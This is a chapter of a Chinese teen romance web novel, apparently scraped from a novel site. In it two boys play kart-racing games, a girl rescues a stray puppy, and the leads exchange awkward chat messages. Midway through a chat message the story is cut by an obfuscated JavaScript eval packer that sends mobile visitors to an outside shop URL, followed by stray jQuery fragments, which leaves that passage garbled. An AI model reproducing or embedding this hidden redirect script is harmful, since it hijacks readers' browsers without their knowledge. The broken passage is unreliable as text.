文趣网 > 其他小说 > 心动答案仅供参考 > 6. 006 免费吗
    /006

    骆冠宇自从进了郁从野的家门,嘴巴就没合拢过。

    “哇靠,兄弟,你这套电竞装备也太帅了吧,你找谁装的机啊?可以摸吗?”

    “哇塞,这一排都是什么相机?怎么有点像老古董啊?不会抵我家一套房子吧?”

    “不是,兄弟,你怎么还会画画啊?这个画板上的是你画的?”

    “等等,小提琴?钢琴?吉他?萨克斯?你咋什么都会啊!这玩意儿是二胡吗?”

    郁从野坐在沙发上扶额轻叹,适时指正:“那是四胡,不是二胡!”

    骆冠宇没听明白,竖了个大拇指:“一胡更比一胡强啊!”

    郁从野:“……”

    怎么会有这么聒噪的人。

    骆冠宇没把自己当客人,参观了一圈郁从野不像住宅反而像博物馆的家,啧啧称奇后在郁从野的旁边坐了下来,问他:“有水喝吗?刚陪我妈出去逛街遛了一大圈,连口水都没喝上,渴死我了。”

    “冰箱里,自己拿。”

    “好嘞。”

    骆冠宇屁颠屁颠去冰箱里取了冰水猛灌一口,还不忘给郁从野也拿了一瓶。

    郁从野接过水瓶,后知后觉,怎么他倒像客人了。

    “你家有啥好玩的吗?”骆冠宇盯着郁从野手边的游戏机手柄眼露光芒。

    郁从野抿了口水,长叹了口气,把手柄递给骆冠宇:“你想玩什么?”

    “卡丁车有吗?我早就想玩了,刷到网上的各种游戏视频可把我馋死了,可惜我爸妈不给我买游戏机,说要高考以后才能买,你爸妈怎么这么好呀!老子羡慕死了!”

    谈到父母,郁从野没接茬,他把卡丁车的游戏卡带插上,连接了电视机屏幕,半靠在沙发上姿势稍作调整,游戏开始了。

    结束一局后,骆冠宇已经把一瓶冰水喝完了,嚷嚷着:“我玩得太菜了,老是撞车,你怎么玩得这么好啊,经验教教我呗。”

    郁从野陈述事实:“这个卡带我也第一次玩。”

    “那你就是有游戏天赋。”骆冠宇这么说着,突然喃喃道:“欸兄弟,你来胥中这一个月有没有一种强烈的感觉,就是身边的同学都不像人类啊?”

    “那像什么?”

    “个个都是天赋怪啊,尤其是我们班那个梅逢满,太离谱了兄弟,你是没见过她做题的速度,感觉就是个无情的做题机器,唰地一下就把所有题目都做完了。”

    郁从野放下手柄喝了口水,睨了他一眼,想说他其实见过她做题的速度,但又不知道怎么讲,只好用沉默回答。

    “兄弟,你知道我这次月考在年级排多少名吗?我爸妈看了差点没拿衣架抽我。”

    骆冠宇自顾自说下去:“100名开外!咱年级总共就四百多个人,我以前高一在原本的学校可一直是第一第二名的呀!原来被碾压的感觉这么不好受,哎!”

    郁从野看他垂头丧气的样子,说:“那你知道我多少名吗?”

    骆冠宇:“多少?”

    郁从野比了个耶:“200。”

    听完骆冠宇的心态好多了,朝他竖了个大拇指,好奇地问:“那你爸妈不打你吗?”

    郁从野从沙发上站起来,走到窗边把窗帘拉开,他垂眸盯着外头连绵不绝的灰色云层说:“我爸妈向来不管我。”

    骆冠宇听完只有一个羡慕,躺倒在沙发上翘起脚:“我爸妈要是也这么放任我自由就好了……”

    郁从野看着骆冠宇如若无人之境的散漫姿势说:“我看你现在就挺自由的。”

    “哎,不过你也是天赋怪,你长得好看啊!长得好看也有饭吃,不像我,成绩在胥中算不上好的,长相也只能说是……普通吧,你说说,我以后吃什么饭好呢?对了,你有理想吗?”

    骆冠宇摸着自己光滑的脸颊上起了一颗痘,以前照镜子是觉得自己有些小帅的,但见了郁从野,谁不说一句,X,服了,这哥们确实是比我帅。

    郁从野嫌他聒噪,问:“还打吗?”

    “打打打,再来一局!”骆冠宇连连点头。

    什么理想不理想的,都是空谈,开一局赛车什么烦恼都没了。

    梅逢满没忘记妈妈让她收衣服的嘱咐,但回了小院发现晾衣竿上已经空空如也。

    梅逢满走上民房的三步台阶,她的房间在楼梯间的右侧,左侧是曲美龄的房间,中间楼梯平台的扶手上绑了一根旧铁丝,横空延伸到她的房间格窗上,原先在院子晾衣竿上的衣服都被挂在了铁丝上,衣架顺着门外的风慢慢飘摇,若有似无的皂荚香气。

    想来是崔阿姨帮忙收进来的,梅逢满暗自想着,她和妈妈对崔阿姨的恩情都无以为报,只能默默承担一些小院的打扫工作。

    此刻小院除了雨打树叶的白噪音声,寂静无人,梅逢满把铁丝上半干的衣服收进了房间里挂起来,尽量不让衣物挡了崔阿姨上楼的道儿。

    开了台灯,坐在窗前埋头做了一张英语卷子,抬头一看,外面雨已经停了,天色发黑,周边的民宅亮了几户夜灯,发出明黄色的荧光,像一双双小动物的眼睛。

    梅逢满站起来伸了个懒腰,透过窗口看见崔玲玲回来了,一手拎着滴水的雨伞,一手拎着菜篮,把伞挂在院门的把手上,急匆匆往楼梯上去了,古旧楼梯吱呀作响。

    梅逢满刚想给崔阿姨打个招呼感谢一下帮忙收衣服的事情,看见院门没关好,崔玲玲的伞在把手上摇摇欲坠,便起身去关院门,顺手把伞扶稳。

    关门时,看向门缝的余光里出现了一坨不明物体,梅逢满睁大眼睛探头望出去,看到了外面墙角的垃圾堆旁边蜷缩着一只小狗。

    小狗是浅土黄色的毛发,湿淋淋的,巴掌大小的一只,一动不动,混在五颜六色的垃圾中,很难被察觉。

    它是死了吗?

    梅逢满没法确定,但又很想去确定。

    她闭了闭眼睛,狠心关上了院门,回到房间的书桌前,把刚做完的英语卷子对完答案,错了一道阅读理解题,她回顾阅读材料的原文,却发现刚才做题的手感和专注都消失了,脑子里光想着那只小狗了。

    她不住地想,要是还活着呢?

    要是因为她的视而不见害死了它呢?

    理不清错题的思绪,扔了笔,她拿着快递纸箱冲出门,小心翼翼地把湿透的小狗抱起,放在了纸箱里,好在它还活着,小小的躯体顺着呼吸上下起伏,眼睛乌溜溜地盯着她,一副惹人怜爱的模样。

    梅逢满抱着纸箱回了房间,和小狗四目相对,她突然不知道冲动之后要怎么办好了。

    这比做题难多了。

    毕竟是租的房子,要是崔阿姨不喜欢狗的话,她只能将小狗送走。

    她给戚原园发去了小狗的照片和求救信息,戚原园很快回复说:「房东阿姨要是不同意的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609010|205854||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    话,你可以帮忙找领养家庭,找到领养前,你可以先放我家养一阵子。」

    梅逢满万般感谢之余又担忧:「你现在住校,放你家只能让你妈妈照顾,我过意不去。」

    戚原园发了个生气的表情包,「你跟我客气啥,你再客气我要生气了!」

    梅逢满哄她:「好好好,听你的。」

    退出和戚原园的聊天框,她看见好友申请处有一个红点。

    月考成绩出来后,许多隔壁二班的人也在这个大群里陆续添加了她为好友,大多数都没同她聊天,只是默默躺在好友列表里,默默窥探她的动态,偶尔点个赞的交情。

    点开一看:「YCY请求添加你为好友,来源:群聊-英才班大家庭,备注:郁从野」

    梅逢满微微挑眉,点击了同意键。

    她说过,和他两清,但并不代表她就真的不讨厌他了,不过是藏在心里不说出来而已,偏见如果能够轻易消除,那边不是偏见了。

    此刻她带着审视的目光去看他的头像,是一张自拍照,碎发遮在额前,灰色的兜帽盖住一半脸,只露出一角脸颊、半个鼻梁和半瓣嘴唇,头顶是半轮月亮,整张照片有些动感模糊,胶片质感,像极了从网上复制下来的网红头像。

    梅逢满嘴角一抽,多么自恋的人才会把自己的自拍照片当头像……

    界面跳到了和他的对话框,梅逢满点击修改给他的备注,顺手从窗台上摸了颗糖往嘴里塞。

    单手剥离糖纸,单手指尖落在键盘上。

    梅逢满歪着头,点击了输入法第一行的矫正提示词,正好她也不想看见列表里躺着他的名字。

    YCY,一场雨。

    与此同时,骆冠宇正在哀嚎连输了好几把卡丁车,郁从野双手堵上耳朵,站远了些,放在岛台上的手机屏幕亮了一下。

    他点开,「小满已成功添加你为好友,现在可以开始聊天啦~」

    他盯着她的昵称看了一眼,关上屏幕,又点亮,再看了一眼,怎么看都不觉得和梅逢满本人有什么关系,“小满”念起来是一个嗲嗲的女孩子的观感。

    他修改了她的备注。

    MFM,他原想这么备注。

    忘记切换到英文输入法,键盘左上角跳出来:「免费吗」

    他脑子里浮现刚刚在站台的场景,他好心要送她回家,她抬眸看他,神色倨傲又从容,像一位纡尊降贵的公主在指挥一位仆人。

    “借我?免费吗?”她这么说。

    想到这儿,又想起她的指责,他突然回过味儿来,她当时怎么不说呢,若是同他讲了,他给她赔一双鞋不就行了,他又不是赔不起,这么变扭,绕这么大一圈子,还默默关注他的住所。

    等等,她不会是喜欢他吧?

    因为爱而不得,所以故意讨厌他,惹他注意呗。

    这种把戏他也不是没见过。

    不不不,她可不能喜欢他。

    他对女孩子还是有要求的,首先这么厉害呛人的可不行,太虚伪的不行,爱慕虚荣的也不行,哦对了,太聪明的也不行,会显得他不聪明,这怎么可以。

    说到底,总结一下就是,梅逢满不可以。

    郁从野觉得自己看破了一位少女的心思,于是好整以暇地拿起手机,劈里啪啦打了一行字发过去:「梅逢满,你不要喜欢我了。」

    梅逢满缓缓抠了一个问号:「?」